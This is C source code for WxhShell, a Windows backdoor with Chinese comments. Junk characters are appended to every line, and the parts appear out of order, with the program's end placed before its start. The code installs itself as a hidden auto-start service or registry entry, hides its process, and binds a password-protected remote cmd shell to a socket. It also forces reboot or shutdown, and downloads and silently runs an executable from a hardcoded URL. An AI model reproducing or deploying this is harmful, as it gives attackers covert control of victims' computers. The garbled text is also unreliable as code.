    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u{8Wu;  
    if(Boot(SHUTDOWN)) aRfkJPPa[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5JQq?e)n  
    else { cpf8f i  
    closesocket(wsh); ~ 5`Ngpp  
    ExitThread(0); 3"%:S_[  
    } 60-LpGhvy  
    break; * _U z**M  
    } QD7>S(p  
  // 获取shell uI.4zbgl[  
  case 's': { QiY7m<3  
    CmdShell(wsh); tBdvk>d  
    closesocket(wsh); k5W5 9tz  
    ExitThread(0); uPb9j;Q?  
    break; s|d L.@0,L  
  } AQ@A$  
  // 退出 )p(XY34]  
  case 'x': { ))u$j4 V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /ZX8gR5x  
    CloseIt(wsh); +STT(bMn  
    break; R0{+Xd  
    } v^JyVf>  
  // 离开 %J3#4gG^v  
  case 'q': { B7va#'ne4{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _k _F  
    closesocket(wsh); kf^Wzp  
    WSACleanup(); E/Y.f  
    exit(1); wHdq:,0-!  
    break; 0W#.$X5  
        } W&6ye  
  } @zSoPDYv,  
  } H`m| R  
dc"Vc 3)  
  // 提示信息 HA"LU;5>2J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vBq 2JJAl  
} P6;L\9=H<  
  } luAhyEp  
+n1}({7m  
  return; *COr^7Kf5  
} QR<IHE{~8  
5h1FvJg  
// shell模块句柄 o{m$b2BW  
int CmdShell(SOCKET sock) 2i8'*L+j  
{ Eo)n( Z9  
STARTUPINFO si; m &c8@-T  
ZeroMemory(&si,sizeof(si)); Fpl<2eBg4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,c}Q;eYc3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `<q{8  
PROCESS_INFORMATION ProcessInfo; fytgS(?I'  
char cmdline[]="cmd"; (~,Q-w"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D6c4tA^EO  
  return 0; 8V.x%T  
} 4e1Zyi!  
rQ. j$U  
// 自身启动模式 O zY&^:>  
int StartFromService(void) ytr~} M%  
{ <dh7*M  
typedef struct !)KX?i[Q  
{ dorZ O2Uc  
  DWORD ExitStatus; Mv JEX8M  
  DWORD PebBaseAddress; X2T)]`@  
  DWORD AffinityMask; 5>"-lB &  
  DWORD BasePriority; Mt<TEr}7Z=  
  ULONG UniqueProcessId; 592q`m\  
  ULONG InheritedFromUniqueProcessId; fGY. +W_  
}   PROCESS_BASIC_INFORMATION; (N0G[(>  
*}A J7]  
PROCNTQSIP NtQueryInformationProcess; |_ E)2b:h  
!&ac}uD^g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M%sWtgw(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =M ?  
~~b[X\1  
  HANDLE             hProcess; 5k<qJ9  
  PROCESS_BASIC_INFORMATION pbi; Yc+ /="&z  
Mryi6XT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {BDp`uZ  
  if(NULL == hInst ) return 0; w~X1Il7A  
sf@g $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @y{Whun~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z Oyq{w!2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jW"C: {Ol;  
NA!;#!  
  if (!NtQueryInformationProcess) return 0; D 0\  
jvCk+n[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UACWs3`s+  
  if(!hProcess) return 0; /|P&{!  
-@<k)hWr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0:Ak 4L6k  
f LxFF  
  CloseHandle(hProcess); 7-Fh!=\f/  
iVREkZ2SC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /DJyNf*  
if(hProcess==NULL) return 0; N@)tU;U3O  
zf4@:GM`  
HMODULE hMod; &=xm>;`3  
char procName[255]; cdf8YN0!  
unsigned long cbNeeded; =0MW+-  
/0\m;&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ] +LleS5  
aB#qzrr['8  
  CloseHandle(hProcess); 8lT.2H  
b_z;^y~  
if(strstr(procName,"services")) return 1; // 以服务启动 y`!3Z} 7  
t/#[At5p=  
  return 0; // 注册表启动 9#@dQ/*  
} QY/36gK  
4JT9EKo  
// 主模块 K.dgQ-vn  
int StartWxhshell(LPSTR lpCmdLine) zl=RK  
{ pEw &i  
  SOCKET wsl; RiIJ#:6+^I  
BOOL val=TRUE; Ck/4h Z  
  int port=0; Ti=~ycwi  
  struct sockaddr_in door; \:'=ccf  
eICk}gfun  
  if(wscfg.ws_autoins) Install(); NUX0=(k  
#xNLr   
port=atoi(lpCmdLine); ZS4lb=)G  
{ P&l`  
if(port<=0) port=wscfg.ws_port; LTm2B_+  
.UU BAyjm  
  WSADATA data; oZA?}#DRl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '/Hx0]V  
ix=HLF-0zC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @c9VCG D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >s1'I:8  
  door.sin_family = AF_INET; bN8GRK )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kViX FPW  
  door.sin_port = htons(port); CZS{^6Ye  
)K4 |-<i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w<| ^i*  
closesocket(wsl); ?A3pXa  
return 1; eZ(<hE>  
} [2a*TI  
_}vD?/$L  
  if(listen(wsl,2) == INVALID_SOCKET) { FQ*4?D,A  
closesocket(wsl); 9P#E^;L  
return 1; _iO,GT=J-  
} =P<gZ-Cm  
  Wxhshell(wsl); Wt"fn&R}  
  WSACleanup(); :CNHN2 J  
a<B[ ~J4i  
return 0; X@*$3z#Z  
5P ,{h  
} l(-6pP5`  
k+f!)7_  
// 以NT服务方式启动 :[ F`tDL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S>Z V8  
{ Ysz{~E'  
DWORD   status = 0; )3V5P%Q  
  DWORD   specificError = 0xfffffff; HcXyU/>D  
Rf+ogLa=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [k ZvBd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K{%}kUj>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]s ?BwLU6  
  serviceStatus.dwWin32ExitCode     = 0; H-K,Q%;C@  
  serviceStatus.dwServiceSpecificExitCode = 0; ;H9d.D8  
  serviceStatus.dwCheckPoint       = 0; :<Yc V#!P  
  serviceStatus.dwWaitHint       = 0; @kK${  
vd c k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3)^-A4~E  
  if (hServiceStatusHandle==0) return;  {.GC7dx  
)@DH&  
status = GetLastError(); p6$ QTx  
  if (status!=NO_ERROR) z _~ 5c  
{ ,Drd s"H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )cNG)F  
    serviceStatus.dwCheckPoint       = 0; N|EH`eu^i  
    serviceStatus.dwWaitHint       = 0; g 7res  
    serviceStatus.dwWin32ExitCode     = status; 12M&qqV  
    serviceStatus.dwServiceSpecificExitCode = specificError; gk>-h,>"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1a;Le8  
    return; 7^4F,JuJO  
  } 4\H:^U&  
2-Y%W(bEzs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f^@`[MJj1C  
  serviceStatus.dwCheckPoint       = 0; oj /:  
  serviceStatus.dwWaitHint       = 0; S0eD 2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6UXa 5t  
} >:!TfuU^R  
j(F&*aH78  
// 处理NT服务事件,比如:启动、停止 Yv\.QrxPm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) awQ f$  
{ .?UK`O2Q  
switch(fdwControl) vE0Ty9OH"]  
{ m=b~Wf39  
case SERVICE_CONTROL_STOP: lG;RfDI-  
  serviceStatus.dwWin32ExitCode = 0; *G7$wW:?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D *RF._  
  serviceStatus.dwCheckPoint   = 0; qcEiJ}-  
  serviceStatus.dwWaitHint     = 0; Y0:y72mK  
  { 8`XT`H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|h-iA+9  
  } zA=gDuy3@  
  return; a1R2ocC  
case SERVICE_CONTROL_PAUSE: AmNmhcN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p&ytUT na  
  break; 8'Sw?FbVA/  
case SERVICE_CONTROL_CONTINUE: .%j&#(!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !:PF |dZ  
  break; FVNxjMm,  
case SERVICE_CONTROL_INTERROGATE: =G2D4>q  
  break; S/Pffal  
}; HUiW#x%;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vi')-1Y KM  
} OiH tobM  
1H`T=:P?  
// 标准应用程序主函数 6*u#^">,<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^UHt1[  
{ *9 M 5'  
'L4@|c~x  
// 获取操作系统版本 9`yG[OA  
OsIsNt=GetOsVer(); t<mT=(zt*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t$^1A1Ef  
Z[<rz6%cB  
  // 从命令行安装 ,rVm81-2  
  if(strpbrk(lpCmdLine,"iI")) Install(); i$gm/ZO  
r\Nf309~  
  // 下载执行文件 !7 "-9n  
if(wscfg.ws_downexe) { O3WhO@`6)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Aw.aQ~E8i  
  WinExec(wscfg.ws_filenam,SW_HIDE); zc>/1>?M  
} 0 Po",\^  
4vKp341B  
if(!OsIsNt) { Bh$ hgf.C  
// 如果时win9x,隐藏进程并且设置为注册表启动 -Zc 6_]F|  
HideProc(); RL7OFfMe  
StartWxhshell(lpCmdLine); %m$TV@  
} Cg<:C?>!p  
else Rs,\{#  
  if(StartFromService()) S^'?s fq  
  // 以服务方式启动 (dn(:<_$  
  StartServiceCtrlDispatcher(DispatchTable); dmI,+hHtL  
else ;S5*n:d  
  // 普通方式启动 pv*u[ffi  
  StartWxhshell(lpCmdLine); o?@,f/" 5  
~?4'{Hc'  
return 0; l&2A]5C  
} ;M}'\.  
d%VG@./xq  
T8+A`z=tSb  
H'|b$rP0@  
=========================================== %SuEfCM  
:fz&)e9  
Tn2nd  
>fRI^Q,  
Q/&H3N  
~`)`Ip  
" ( P|Ph  
9,wd,,ta  
#include <stdio.h> 1CK}XLdr  
#include <string.h> F`KA^ZI  
#include <windows.h> ,DsqKXSU  
#include <winsock2.h> gp'9Pf;\[  
#include <winsvc.h> ,{P*ZK3u  
#include <urlmon.h> MUsF/1  
<+@?V$&  
#pragma comment (lib, "Ws2_32.lib") 9SF2  
#pragma comment (lib, "urlmon.lib") C%#=@HC  
'lNy&  
#define MAX_USER   100 // 最大客户端连接数 7.)e4  
#define BUF_SOCK   200 // sock buffer !dQG 5v  
#define KEY_BUFF   255 // 输入 buffer COPH)Bdq.  
S^0Po%d  
#define REBOOT     0   // 重启 aC:Sy^Tf  
#define SHUTDOWN   1   // 关机 5q?2?j/h  
Z]f_? @0  
#define DEF_PORT   5000 // 监听端口 ))f%3_H  
% B+W#Q`  
#define REG_LEN     16   // 注册表键长度 Si#I^aF`%  
#define SVC_LEN     80   // NT服务名长度 KPO?eeT.WZ  
oe,I vnt  
// 从dll定义API N"Y)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =>nrU8x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ??eSGQ|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "`]G>,r_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :ad  
+k|t[N  
// wxhshell配置信息 JW[y  
struct WSCFG { 5ZeE& vG2  
  int ws_port;         // 监听端口 :L gFd  
  char ws_passstr[REG_LEN]; // 口令 1xN6V-qk  
  int ws_autoins;       // 安装标记, 1=yes 0=no z%-Yz- G9  
  char ws_regname[REG_LEN]; // 注册表键名 N>qOiw[  
  char ws_svcname[REG_LEN]; // 服务名 5|S|S))_Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pqiw[+a$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &|>CW:)&1"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .%)FK#s-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BUT{}2+K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2@K D '^(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _h|rH   
*ue- x!"c  
}; /Y$UJt  
b|mWEB.p  
// default Wxhshell configuration A;~lG3j4  
struct WSCFG wscfg={DEF_PORT, lnuf_;0  
    "xuhuanlingzhe", GPBp.$q+B  
    1, QHOA__?  
    "Wxhshell", 9qc<m'MZ  
    "Wxhshell", G"w ?{W @  
            "WxhShell Service", _GEt:=DAP#  
    "Wrsky Windows CmdShell Service", I3 /^{-n  
    "Please Input Your Password: ", [>+R|;ln  
  1, JGQlx-qv  
  "http://www.wrsky.com/wxhshell.exe", M#o.$+Uh  
  "Wxhshell.exe" NAd|n+[d  
    }; 4qMqA T  
b[&A,ZPh$@  
// 消息定义模块 I&JVY8'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >iD&n4TK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; egQB!%D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W4n;U-Hb  
char *msg_ws_ext="\n\rExit."; {A2EGUmF2  
char *msg_ws_end="\n\rQuit."; H",w$$e F  
char *msg_ws_boot="\n\rReboot..."; Zzy!D  
char *msg_ws_poff="\n\rShutdown..."; `-a](0Q U  
char *msg_ws_down="\n\rSave to "; ]WlE9z7:8  
/d;C)%$  
char *msg_ws_err="\n\rErr!"; Gx Z'"x  
char *msg_ws_ok="\n\rOK!"; TG4?"0`I5  
k#mQLv  
char ExeFile[MAX_PATH]; 1>hY!nG h  
int nUser = 0; y/U(v"'4U  
HANDLE handles[MAX_USER]; Hy4c{Ij  
int OsIsNt; kA3nhBH  
6*yt^[W  
SERVICE_STATUS       serviceStatus; q@K8,=/.#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !RX\">z  
05= $Dnv  
// 函数声明 n^F:p*)Q%  
int Install(void); :)f/>-   
int Uninstall(void); 8!8 yA  
int DownloadFile(char *sURL, SOCKET wsh); *sNZ.Y:.  
int Boot(int flag); yB][ 3?lv  
void HideProc(void); 1Rrp#E}  
int GetOsVer(void); P<<?7_ ??  
int Wxhshell(SOCKET wsl); M"QT(u+  
void TalkWithClient(void *cs); &!/E&e$_  
int CmdShell(SOCKET sock); "rhU2jT=c  
int StartFromService(void); A4 ;EtW+F  
int StartWxhshell(LPSTR lpCmdLine); Axb,{X[6g  
R9=K/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CeL`T:]r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +/!kL0[v  
wHneVqI/U  
// 数据结构和表定义 \HR<^xY  
SERVICE_TABLE_ENTRY DispatchTable[] = FR%9Qb7  
{ zadn`B#2  
{wscfg.ws_svcname, NTServiceMain}, Md!L@gX6<  
{NULL, NULL} b| e7mis@  
}; <ezv  
$|J16tW  
// 自我安装 tJ:]ne   
int Install(void) ey'x3s_  
{ uZ[7[mK}n7  
  char svExeFile[MAX_PATH]; P .I <.e  
  HKEY key; lw/zgR#|  
  strcpy(svExeFile,ExeFile); ,-!h  
6T3uv,2  
// 如果是win9x系统,修改注册表设为自启动 fL3Px  
if(!OsIsNt) { &8kc0Z@y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -1\*}m%1e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : ?K}.Kb  
  RegCloseKey(key); SePPI.n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z4qw*. 5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n*%o!=  
  RegCloseKey(key); j_=A)B?  
  return 0; B 4s^X`?z  
    } #jY\l&E  
  } 9  Vn  
} ZUDdLJ  
else { f~U~f}Uw4  
AH*{Bi[vX  
// 如果是NT以上系统,安装为系统服务 l,z# : k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _hM #*?}v  
if (schSCManager!=0) F.9SyB$  
{ M5$YFGGR  
  SC_HANDLE schService = CreateService %}< e;t-O  
  ( VD=}GY33=  
  schSCManager, h8R3N?S3#  
  wscfg.ws_svcname, R$[nYw  
  wscfg.ws_svcdisp, XwI~ 0  
  SERVICE_ALL_ACCESS, XctSw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , . X  (^E  
  SERVICE_AUTO_START, x3./  
  SERVICE_ERROR_NORMAL, Cxn<#Kf\-<  
  svExeFile, *t_"]v-w  
  NULL, q_0So}  
  NULL, ;3\oU$'  
  NULL, E;$;g#ksf  
  NULL, +sN'Y/-  
  NULL aT9+] Ig  
  ); qN5 ru2  
  if (schService!=0) ^]x%z*6  
  { <Mdyz!  
  CloseServiceHandle(schService); j@yK#==k  
  CloseServiceHandle(schSCManager); +>zjTP7\e"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *$U+  
  strcat(svExeFile,wscfg.ws_svcname); 87QK&S\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7'c ;$~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +I>u${sVx*  
  RegCloseKey(key); <K^{36h  
  return 0; H C %tJ:G  
    } hxwo<wEg  
  } RK7vR~kf<  
  CloseServiceHandle(schSCManager); wjJM\BKr`  
} wR7Ja cKv  
} GM1z@i\5  
}}R?pU_  
return 1; )@vhqVv?  
} &sFEe<  
= [N= mC  
// 自我卸载 x,CTB  
int Uninstall(void) 79DzrLu  
{ S5Hb9m&&  
  HKEY key; kTC'`xv  
:K:oH}4oh  
if(!OsIsNt) { :htz]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bOEO2v'cQ  
  RegDeleteValue(key,wscfg.ws_regname); +"sjkdum1  
  RegCloseKey(key); &U_YDUQ'L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5=;LHS*   
  RegDeleteValue(key,wscfg.ws_regname); D=B$ Pv9%  
  RegCloseKey(key); $)HD`E  
  return 0; %l4;-x<e  
  } ^M:Y$9r_s  
} zmA]@'j  
} &.m.ruab  
else { {;z{U;j  
JJIlR{WY_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E{LLxGAEZ  
if (schSCManager!=0) oFO)28Btv  
{ ^{V t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (D\7EH\9,]  
  if (schService!=0) q=EHB5!q  
  { A` 'k5uG  
  if(DeleteService(schService)!=0) { $#ve^.VHv  
  CloseServiceHandle(schService); -Kas9\VWEw  
  CloseServiceHandle(schSCManager); _1c0pQ^}3  
  return 0; ?S*Cvr+=4  
  } #[ H4`hZ  
  CloseServiceHandle(schService); 1g{-DIOmn  
  } Nldy76|g  
  CloseServiceHandle(schSCManager); u<g0oEs)  
} r<%ua6@  
} H^VNw1.   
S7B7'[ru  
return 1; h_( #U)z_3  
} /?ZO-]q  
B4D#T lB  
// 从指定url下载文件 Oc6_x46S4  
int DownloadFile(char *sURL, SOCKET wsh) ifXGH>C  
{ EZ"n3#/  
  HRESULT hr; @5["L  
char seps[]= "/"; 3R}O3#lj,  
char *token; NsPAWI|4  
char *file; %Tv2op  
char myURL[MAX_PATH]; Q[vQT?J7  
char myFILE[MAX_PATH]; bpr  
8[k:FGp>  
strcpy(myURL,sURL); OV"uIY[%8V  
  token=strtok(myURL,seps); $fzO:br5WJ  
  while(token!=NULL) Daw;6f:  
  { @QN(ouqQ  
    file=token; A_y]6~Mu?~  
  token=strtok(NULL,seps); Nv~H797B  
  } $_ BoG  
~6Xr^An/Z  
GetCurrentDirectory(MAX_PATH,myFILE); d3[O!4<T  
strcat(myFILE, "\\"); >=6 j:  
strcat(myFILE, file); h 7P<3m}  
  send(wsh,myFILE,strlen(myFILE),0); n@JZ2K4  
send(wsh,"...",3,0); '^{:HR#i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nF)b4`Nd  
  if(hr==S_OK) f@j)t%mh  
return 0; _.{I1*6Y2  
else >1$ vG  
return 1; @W1F4HYds  
2Y7u M;8  
} N|rB~  
b2tUJ2p  
// 系统电源模块 ppP0W `p  
int Boot(int flag) R<L<kChg  
{ x 8/I"!gI  
  HANDLE hToken; t:O"t G  
  TOKEN_PRIVILEGES tkp; KLBX2H2^0  
( kKQs")  
  if(OsIsNt) { ^. p d'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wik8V0(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W>o>Y$H  
    tkp.PrivilegeCount = 1; W{i s2s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }e K.\_t=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Y,imj\(v  
if(flag==REBOOT) { xU!eT'Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0! W$Cz[  
  return 0; /Xm4%~b_gj  
} ;ztt*py  
else { (M-W ea!q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ln2lFfz  
  return 0; %K[u  
} qRc Y(mb  
  } Q H 57[Yg  
  else { >Y6iLQ$X  
if(flag==REBOOT) { 7C>5XyyJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L)z`  
  return 0; lDX\"Fq  
} _/5#A+ ?  
else { SjL&\),  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VR XK/dZ  
  return 0; P?o|N<46  
} T!%J x.^  
} :Ldx^UO  
0@tN3u?dx  
return 1; v;o/M6GL5  
} BW x=Q  
6%B)  
// win9x进程隐藏模块 ):-Ub4A\  
void HideProc(void) _'0C70  
{ NZL$#bRB  
mHF? t.y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /Y`u4G()  
  if ( hKernel != NULL ) %F}i2!\<L  
  { l<)k`lrMX4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _]t^F9l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KL\hV .6  
    FreeLibrary(hKernel); b[rVr J  
  } a{@gzB  
Db K(Rh_ K  
return; G@+R!IG  
} ZZ324UuATX  
gZ>) S@  
// 获取操作系统版本 oe*CZ  
int GetOsVer(void) P[%nD cB  
{ REGk2t.L  
  OSVERSIONINFO winfo; -R-yr.$j*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \~> .NH-  
  GetVersionEx(&winfo); _J X>#h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `{1~]?-&  
  return 1; @q"HZO[  
  else 8'* /|)Hn  
  return 0; 8P* d  
} `kYcTFk  
n09P!],Xa  
// 客户端句柄模块 eL_Il.:  
int Wxhshell(SOCKET wsl) |" ag'h  
{ U[{vA6  
  SOCKET wsh; V [Wo9Y\  
  struct sockaddr_in client; a7}O.NDf  
  DWORD myID; yHf:/8Z  
~7>D>!!  
  while(nUser<MAX_USER) O_ d[{e=5`  
{ lw43|_'G-t  
  int nSize=sizeof(client); c<ORmg6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dwqR,|  
  if(wsh==INVALID_SOCKET) return 1; \IP 9EFA  
PY MofQaZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P?hB`5X  
if(handles[nUser]==0) +-:o+S`q~  
  closesocket(wsh); QTospHf`  
else !LJ4 S  
  nUser++; 4x-K0  
  } yVe<+Z\7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dK41NLGQ  
/RI"a^&9A  
  return 0; "i,ZG$S#E  
} ZkryoIQ%=  
:[&QoEZW  
// 关闭 socket ]oLyvG  
void CloseIt(SOCKET wsh)  a"D'QqtH  
{ 8osP$"/o  
closesocket(wsh); )%09j0y>l"  
nUser--; 'Pe;Tp>`  
ExitThread(0); #A&49a3^1  
} ldnKV&N  
:3[;9xCHj  
// 客户端请求句柄 xri(j,mU  
void TalkWithClient(void *cs) k\X yR4r  
{ 8RT<?I^5  
Gdz*   
  SOCKET wsh=(SOCKET)cs; [P`<y#J3F  
  char pwd[SVC_LEN]; zvn3i5z  
  char cmd[KEY_BUFF]; l:~/%=  
char chr[1]; jAdZS\?w  
int i,j; "hnvND4=  
/\MkH\zg  
  while (nUser < MAX_USER) { .=zBUvy  
6^)eW+  
if(wscfg.ws_passstr) { {_4`0J`3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >en\:pJn)'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2(f-0or(  
  //ZeroMemory(pwd,KEY_BUFF); / 5/m x  
      i=0; [)?yH3  
  while(i<SVC_LEN) { P1^O0)  
Q<Qd*v&-  
  // 设置超时 _p'u!.a?!  
  fd_set FdRead; =E62N7_`=  
  struct timeval TimeOut; (>uA(#Z  
  FD_ZERO(&FdRead); *i {e$Zv'  
  FD_SET(wsh,&FdRead); B,] AfH  
  TimeOut.tv_sec=8; 3oV2Ek<d  
  TimeOut.tv_usec=0; 3+&k{UZjt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t +|t/1s2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &F8*>F^7  
@F/,~|{iM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2({|LQqk  
  pwd=chr[0]; n~ZZX={a  
  if(chr[0]==0xd || chr[0]==0xa) { ]xGpN ]u  
  pwd=0;  niyI$OC  
  break; Za]~[F  
  } tn;{r  
  i++; /VD[:sU7  
    } UrO& K]Z  
S`Z[MNY  
  // 如果是非法用户,关闭 socket :j? MEeu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~])Q[/=p  
} R'pfA B|!  
yxi&80$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %,S{9q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xXfv({  
k2(k0HFR  
while(1) { h.wffk,  
yqH9*&KH{  
  ZeroMemory(cmd,KEY_BUFF); g_J QW(_  
gvr&7=p  
      // 自动支持客户端 telnet标准   *'*n}fM  
  j=0; ~14|y|\/  
  while(j<KEY_BUFF) { <"8F=3:uk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4"UH~A;^  
  cmd[j]=chr[0]; 1je/l9L  
  if(chr[0]==0xa || chr[0]==0xd) { cl`7|;v|?  
  cmd[j]=0; y t7>,  
  break; M9G?^mW1sT  
  } 4 !m'9  
  j++; 4I9Yr  
    } 2Bi?^kQ#  
@?RaU4e  
  // 下载文件 }$[@*  
  if(strstr(cmd,"http://")) { -hq^';,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7yjun|Lt}X  
  if(DownloadFile(cmd,wsh)) I>q!co9n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jz S iw z  
  else  tN.$4+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hiv {A9a?  
  } ,& wd  
  else { hhz#I A6,  
